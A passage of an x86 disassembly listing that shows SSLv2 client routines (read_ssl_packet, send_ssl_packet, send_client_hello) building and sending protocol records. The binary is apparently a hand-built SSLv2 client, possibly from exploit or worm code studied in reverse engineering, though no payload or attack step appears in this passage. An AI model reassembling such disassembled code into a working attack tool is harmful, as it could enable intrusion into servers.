from jump at 0804a40f ; 0804a4d1 mov 0xc(%ebp),%eax 0804a4d4 cmpb $0x0,(%eax) 0804a4d7 jne 0804a538 0804a4d9 cmpl $0x3,0xfffffffc(%ebp) 0804a4dd je 0804a508 0804a4df mov 0x8(%ebp),%eax 0804a4e2 movl $0x2,0x7c(%eax) 0804a4e9 sub $0x8,%esp Possible reference to string: "read_ssl_packet: Malformed server error message" 0804a4ec push $0x804c660 0804a4f1 mov 0x8(%ebp),%eax 0804a4f4 sub $0xffffff80,%eax 0804a4f7 push %eax 0804a4f8 call 08048e6c <_init+0x2d8> 0804a4fd add $0x10,%esp 0804a500 mov $0x0,%eax 0804a505 jmp 0804a53d 0804a507 nop Referenced from jump at 0804a4dd ; 0804a508 sub $0x8,%esp 0804a50b mov 0xc(%ebp),%eax 0804a50e inc %eax 0804a50f movzwl (%eax),%eax 0804a512 sub $0x4,%esp 0804a515 push %eax 0804a516 call 08048cfc <_init+0x168> 0804a51b add $0x8,%esp 0804a51e mov %eax,%eax 0804a520 mov %eax,%eax 0804a522 movzwl %ax,%eax 0804a525 push %eax 0804a526 pushl 0x8(%ebp) 0804a529 call 0804a154 0804a52e add $0x10,%esp 0804a531 mov $0x0,%eax 0804a536 jmp 0804a53d Referenced from jump at 0804a4d7 ; 0804a538 mov 0xfffffffc(%ebp),%eax 0804a53b mov %eax,%eax Referenced from jump at 0804a303 ; 0804a3b9 ; 0804a402 ; 0804a45c ; 0804a48d ; 0804a505 ; 0804a536 ; 0804a53d leave 0804a53e ret 0804a53f nop ---- Function : send_ssl_packet ---- Referenced from call at 0804a801 ; 0804aeb3 ; 0804b23d ; 0804a540 push %ebp 0804a541 mov %esp,%ebp 0804a543 sub $0x4088,%esp 0804a549 mov 0x8(%ebp),%eax 0804a54c cmpl $0x0,0x74(%eax) 0804a550 je 0804a560 0804a552 mov 0x10(%ebp),%eax 0804a555 add $0x10,%eax 0804a558 mov %eax,0xffffbff0(%ebp) 0804a55e jmp 0804a569 Referenced from jump at 0804a550 ; 0804a560 mov 0x10(%ebp),%eax 0804a563 mov %eax,0xffffbff0(%ebp) Referenced from jump at 0804a55e ; 0804a569 mov 0xffffbff0(%ebp),%eax 0804a56f add $0x2,%eax 0804a572 cmp $0x4000,%eax 0804a577 jle 0804a598 0804a579 sub $0x8,%esp 0804a57c pushl 0x10(%ebp) Possible reference to string: "send_ssl_packet: Record length out of range (rec_len = %d)" 0804a57f push $0x804c6a0 0804a584 call 08048d8c <_init+0x1f8> 0804a589 add $0x10,%esp 0804a58c sub $0xc,%esp 0804a58f push $0x1 0804a591 call 08048dfc <_init+0x268> 0804a596 mov %esi,%esi Referenced from jump at 0804a577 ; 0804a598 lea 0xffffbff8(%ebp),%eax 0804a59e mov %eax,0xffffbff4(%ebp) 0804a5a4 mov 0xffffbff4(%ebp),%edx 0804a5aa mov 0xffffbff0(%ebp),%eax 0804a5b0 sar $0x8,%eax 0804a5b3 and $0xffffffff,%eax 0804a5b6 mov %al,(%edx) 0804a5b8 mov 0xffffbff4(%ebp),%edx 0804a5be inc %edx 0804a5bf mov 0xffffbff0(%ebp),%al 0804a5c5 and $0xffffffff,%eax 0804a5c8 mov %al,(%edx) 0804a5ca lea 0xffffbff4(%ebp),%eax 0804a5d0 addl $0x2,(%eax) 0804a5d3 lea 0xffffbff8(%ebp),%eax 0804a5d9 orb $0x80,(%eax) 0804a5dc mov 0x8(%ebp),%eax 0804a5df cmpl $0x0,0x74(%eax) 0804a5e3 je 0804a6c4 0804a5e9 mov 0x8(%ebp),%eax 0804a5ec sub $0xc,%esp 0804a5ef pushl 0x70(%eax) 0804a5f2 call 08048bcc <_init+0x38> 0804a5f7 add $0x10,%esp 0804a5fa mov %eax,%eax 0804a5fc mov %eax,0xffffbf84(%ebp) 0804a602 sub $0xc,%esp 0804a605 lea 0xffffbf88(%ebp),%eax 0804a60b push %eax 0804a60c call 08048cec <_init+0x158> 0804a611 add $0x10,%esp 0804a614 sub $0x4,%esp 0804a617 push $0x10 0804a619 mov 0x8(%ebp),%eax 0804a61c pushl 0x60(%eax) 0804a61f lea 0xffffbf88(%ebp),%eax 0804a625 push %eax 0804a626 call 08048eac <_init+0x318> 0804a62b add $0x10,%esp 0804a62e sub $0x4,%esp 0804a631 pushl 0x10(%ebp) 0804a634 pushl 0xc(%ebp) 0804a637 lea 0xffffbf88(%ebp),%eax 0804a63d push %eax 0804a63e call 08048eac <_init+0x318> 0804a643 add $0x10,%esp 0804a646 sub $0x4,%esp 0804a649 push $0x4 0804a64b lea 0xffffbf84(%ebp),%eax 0804a651 push %eax 0804a652 lea 0xffffbf88(%ebp),%eax 0804a658 push %eax 0804a659 call 08048eac <_init+0x318> 0804a65e add $0x10,%esp 0804a661 sub $0x8,%esp 0804a664 lea 0xffffbf88(%ebp),%eax 0804a66a push %eax 0804a66b pushl 0xffffbff4(%ebp) 0804a671 call 08048d4c <_init+0x1b8> 0804a676 add $0x10,%esp 0804a679 lea 0xffffbff4(%ebp),%eax 0804a67f addl $0x10,(%eax) 0804a682 sub $0x4,%esp 0804a685 pushl 0x10(%ebp) 0804a688 pushl 0xc(%ebp) 0804a68b pushl 0xffffbff4(%ebp) 0804a691 call 08048d9c <_init+0x208> 0804a696 add $0x10,%esp 0804a699 lea 0xffffbff8(%ebp),%eax 0804a69f add $0x2,%eax 0804a6a2 push %eax 0804a6a3 lea 0xffffbff8(%ebp),%eax 0804a6a9 add $0x2,%eax 0804a6ac push %eax 0804a6ad pushl 0xffffbff0(%ebp) 0804a6b3 mov 0x8(%ebp),%eax 0804a6b6 pushl 0x68(%eax) 0804a6b9 call 08048cac <_init+0x118> 0804a6be add $0x10,%esp 0804a6c1 jmp 0804a6db 0804a6c3 nop Referenced from jump at 0804a5e3 ; 0804a6c4 sub $0x4,%esp 0804a6c7 pushl 0x10(%ebp) 0804a6ca pushl 0xc(%ebp) 0804a6cd pushl 0xffffbff4(%ebp) 0804a6d3 call 08048d9c <_init+0x208> 0804a6d8 add $0x10,%esp Referenced from jump at 0804a6c1 ; 0804a6db push $0x0 0804a6dd mov 0xffffbff0(%ebp),%eax 0804a6e3 add $0x2,%eax 0804a6e6 push %eax 0804a6e7 lea 0xffffbff8(%ebp),%eax 0804a6ed push %eax 0804a6ee mov 0x8(%ebp),%eax 0804a6f1 pushl (%eax) 0804a6f3 call 08048e3c <_init+0x2a8> 0804a6f8 add $0x10,%esp 0804a6fb mov %eax,%eax 0804a6fd cmp $0xffffffff,%eax 0804a700 jne 0804a73c 0804a702 sub $0x8,%esp 0804a705 sub $0x4,%esp 0804a708 sub $0x4,%esp 0804a70b call 08048c6c <_init+0xd8> 0804a710 add $0x4,%esp 0804a713 mov %eax,%eax 0804a715 mov %eax,%eax 0804a717 pushl (%eax) 0804a719 call 08048c3c <_init+0xa8> 0804a71e add $0x8,%esp 0804a721 mov %eax,%eax 0804a723 push %eax Possible reference to string: "Error in send: %s" 0804a724 push $0x804c6dc 0804a729 call 08048d8c <_init+0x1f8> 0804a72e add $0x10,%esp 0804a731 sub $0xc,%esp 0804a734 push $0x1 0804a736 call 08048dfc <_init+0x268> 0804a73b nop Referenced from jump at 0804a700 ; 0804a73c mov 0x8(%ebp),%eax 0804a73f incl 0x70(%eax) 0804a742 leave 0804a743 ret ---- Function : send_client_hello ---- Referenced from call at 0804931b ; 08049450 ; 0804a744 push %ebp 0804a745 mov %esp,%ebp 0804a747 push %edi 0804a748 push %esi 0804a749 push %ebx 0804a74a sub $0x401c,%esp 0804a750 lea 0xffffbfd8(%ebp),%edi Possible reference to string: "" 0804a756 mov $0x804c700,%esi 0804a75b cld 0804a75c mov $0x22,%ecx 0804a761 repz movsb %ds:(%esi),%es:(%edi) 0804a763 lea 0xffffbffa(%ebp),%edi 0804a769 cld 0804a76a mov $0x3fde,%ecx 0804a76f mov $0x0,%al 0804a771 repz stos %al,%es:(%edi) 0804a773 mov 0x8(%ebp),%eax 0804a776 cmpl $0x0,0x7c(%eax) 0804a77a je 0804a788 0804a77c mov $0x0,%eax 0804a781 jmp 0804a80e 0804a786 mov %esi,%esi Referenced from jump at 0804a77a ; 0804a788 mov 0x8(%ebp),%eax 0804a78b cmpl $0x0,0x78(%eax) 0804a78f je 0804a7a1 0804a791 sub $0xc,%esp Possible reference to string: " -> send_client_hello" 0804a794 push $0x804c722 0804a799 call 08048d8c <_init+0x1f8> 0804a79e add $0x10,%esp Referenced from jump at 0804a78f ; 0804a7a1 movl $0x0,0xffffffe4(%ebp) Referenced from jump at 0804a7cf ; 0804a7a8 cmpl $0xf,0xffffffe4(%ebp) 0804a7ac jle 0804a7b0 0804a7ae jmp 0804a7d4 Referenced from jump at 0804a7ac ; 0804a7b0 call 08048e9c <_init+0x308> 0804a7b5 mov %eax,%ebx 0804a7b7 mov 0x8(%ebp),%eax 0804a7ba add $0x4,%eax 0804a7bd mov %eax,%ecx 0804a7bf mov 0xffffffe4(%ebp),%edx 0804a7c2 mov %ebx,%eax 0804a7c4 sar $0x18,%eax 0804a7c7 mov %al,(%edx,%ecx,1) 0804a7ca lea 0xffffffe4(%ebp),%eax 0804a7cd incl (%eax) 0804a7cf jmp 0804a7a8 0804a7d1 lea 0x0(%esi),%esi Referenced from jump at 0804a7ae ; 0804a7d4 sub $0x4,%esp 0804a7d7 push $0x10 0804a7d9 mov 0x8(%ebp),%eax 0804a7dc add $0x4,%eax 0804a7df push %eax 0804a7e0 lea 0xffffbfd8(%ebp),%eax 0804a7e6 add $0x21,%eax 0804a7e9 push %eax 0804a7ea call 08048d9c <_init+0x208> 0804a7ef add $0x10,%esp 0804a7f2 sub $0x4,%esp 0804a7f5 push $0x31 0804a7f7 lea 0xffffbfd8(%ebp),%eax 0804a7fd push %eax 0804a7fe pushl 0x8(%ebp) 0804a801 call 0804a540 0804a806 add $0x10,%esp 0804a809 mov $0x1,%eax Referenced from jump at 0804a781 ; 0804a80e lea 0xfffffff4(%ebp),%esp 0804a811 pop %ebx 0804a812 pop %esi 0804a813 pop %edi 0804a814 pop %ebp 0804a815 ret 0804a816 mov %esi,%esi ---- Function : get_server_hello ---- Referenced from call at 08049329 ; 0804945e ; 0804a818 push %ebp 0804a819 mov %esp,%ebp 0804a81b sub $0x4038,%esp 0804a821 mov 0x8(%ebp),%eax 0804a824